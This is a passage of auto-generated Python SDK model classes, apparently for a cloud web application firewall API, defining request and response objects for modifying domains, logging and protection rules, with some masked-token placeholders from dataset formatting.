DescribeWafSourceIpSegmentResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, source_ips=None,\n load_balancing=None, http_port=None, https_port=None, http_2port=\n None, https_redirect=None, http_to_user_ip=None, is_access_product=\n None, log_headers=None, cluster_type=None, connection_time=None,\n read_time=None, write_time=None, access_type=None,\n cloud_native_instances=None, ip_follow_status=None):\n self.instance_id = instance_id\n self.domain = domain\n self.source_ips = source_ips\n self.load_balancing = load_balancing\n self.http_port = http_port\n self.https_port = https_port\n self.http_2port = http_2port\n self.https_redirect = https_redirect\n self.http_to_user_ip = http_to_user_ip\n self.is_access_product = is_access_product\n self.log_headers = log_headers\n self.cluster_type = cluster_type\n self.connection_time = connection_time\n self.read_time = read_time\n self.write_time = write_time\n self.access_type = access_type\n self.cloud_native_instances = cloud_native_instances\n self.ip_follow_status = ip_follow_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.log_headers is not None:\n result['LogHeaders'] = self.log_headers\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_instances is not None:\n result['CloudNativeInstances'] = self.cloud_native_instances\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('LogHeaders') is not None:\n self.log_headers = m.get('LogHeaders')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeInstances') is not None:\n self.cloud_native_instances = m.get('CloudNativeInstances')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n return self\n\n\nclass ModifyDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainIpv6StatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyDomainIpv6StatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainIpv6StatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainIpv6StatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogRetrievalStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogRetrievalStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogRetrievalStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogRetrievalStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, mode=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.mode = mode\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.mode is not None:\n result['Mode'] = self.mode\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleRuleRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule=None, rule_id=\n None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule = rule\n self.rule_id = rule_id\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule is not None:\n result['Rule'] = self.rule\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Rule') is not None:\n self.rule = m.get('Rule')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, module_status=None,\n instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.module_status = module_status\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleCacheStatusRequest(TeaModel):\n\n def __init__(self, domain=None, rule_id=None, defense_type=None,\n instance_id=None):\n self.domain = domain\n self.rule_id = rule_id\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponseBody, self).to_map(\n )\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleCacheStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, rule_id=None,\n rule_status=None, lock_version=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.rule_id = rule_id\n self.rule_status = rule_status\n self.lock_version = lock_version\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.rule_status is not None:\n result['RuleStatus'] = self.rule_status\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('RuleStatus') is not None:\n self.rule_status = m.get('RuleStatus')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass SetDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domains=None, rule_group_id=None, waf_version=None,\n instance_id=None, resource_group_id=None):\n self.domains = domains\n self.rule_group_id = rule_group_id\n self.waf_version = waf_version\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domains is not None:\n result['Domains'] = self.domains\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.waf_version is not None:\n result['WafVersion'] = self.waf_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domains') is not None:\n self.domains = m.get('Domains')\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('WafVersion') is not None:\n self.waf_version = m.get('WafVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass SetDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass SetDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(SetDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = SetDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n", "step-3": "<mask token>\n\n\nclass DescribeCertMatchStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None, match_status=None):\n self.request_id = request_id\n self.match_status = match_status\n\n def validate(self):\n pass\n <mask token>\n <mask token>\n\n\nclass DescribeCertMatchStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeCertMatchStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeCertMatchStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None):\n self.instance_id = instance_id\n self.domain = domain\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs(\n TeaModel):\n\n def __init__(self, protocol=None, ports=None):\n self.protocol = protocol\n self.ports = ports\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(\n DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs\n , self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.protocol is not None:\n result['Protocol'] = self.protocol\n if self.ports is not None:\n result['Ports'] = self.ports\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Protocol') is not None:\n self.protocol = m.get('Protocol')\n if m.get('Ports') is not None:\n self.ports = m.get('Ports')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstances(TeaModel):\n\n def __init__(self, protocol_port_configs=None, redirection_type_name=\n None, cloud_native_product_name=None, instance_id=None,\n ipaddress_list=None):\n self.protocol_port_configs = protocol_port_configs\n self.redirection_type_name = redirection_type_name\n self.cloud_native_product_name = cloud_native_product_name\n self.instance_id = instance_id\n self.ipaddress_list = ipaddress_list\n\n def validate(self):\n if self.protocol_port_configs:\n for k in self.protocol_port_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainCloudNativeInstances, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['ProtocolPortConfigs'] = []\n if self.protocol_port_configs is not None:\n for k in self.protocol_port_configs:\n result['ProtocolPortConfigs'].append(k.to_map() if k else None)\n if self.redirection_type_name is not None:\n result['RedirectionTypeName'] = self.redirection_type_name\n if self.cloud_native_product_name is not None:\n result['CloudNativeProductName'] = self.cloud_native_product_name\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.ipaddress_list is not None:\n result['IPAddressList'] = self.ipaddress_list\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.protocol_port_configs = []\n if m.get('ProtocolPortConfigs') is not None:\n for k in m.get('ProtocolPortConfigs'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs\n ())\n self.protocol_port_configs.append(temp_model.from_map(k))\n if m.get('RedirectionTypeName') is not None:\n self.redirection_type_name = m.get('RedirectionTypeName')\n if m.get('CloudNativeProductName') is not None:\n self.cloud_native_product_name = m.get('CloudNativeProductName')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('IPAddressList') is not None:\n self.ipaddress_list = m.get('IPAddressList')\n return self\n\n\nclass DescribeDomainResponseBodyDomainLogHeaders(TeaModel):\n\n def __init__(self, k=None, v=None):\n self.k = k\n self.v = v\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainLogHeaders, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.k is not None:\n result['k'] = self.k\n if self.v is not None:\n result['v'] = self.v\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('k') is not None:\n self.k = m.get('k')\n if m.get('v') is not None:\n self.v = m.get('v')\n return self\n\n\nclass DescribeDomainResponseBodyDomain(TeaModel):\n\n def __init__(self, http_2port=None, cloud_native_instances=None,\n http_to_user_ip=None, http_port=None, log_headers=None,\n is_access_product=None, access_headers=None, access_header_mode=\n None, https_redirect=None, load_balancing=None, ip_follow_status=\n None, access_type=None, version=None, cluster_type=None, read_time=\n None, write_time=None, resource_group_id=None, cname=None,\n source_ips=None, connection_time=None, https_port=None):\n self.http_2port = http_2port\n self.cloud_native_instances = cloud_native_instances\n self.http_to_user_ip = http_to_user_ip\n self.http_port = http_port\n self.log_headers = log_headers\n self.is_access_product = is_access_product\n self.access_headers = access_headers\n self.access_header_mode = access_header_mode\n self.https_redirect = https_redirect\n self.load_balancing = load_balancing\n self.ip_follow_status = ip_follow_status\n self.access_type = access_type\n self.version = version\n self.cluster_type = cluster_type\n self.read_time = read_time\n 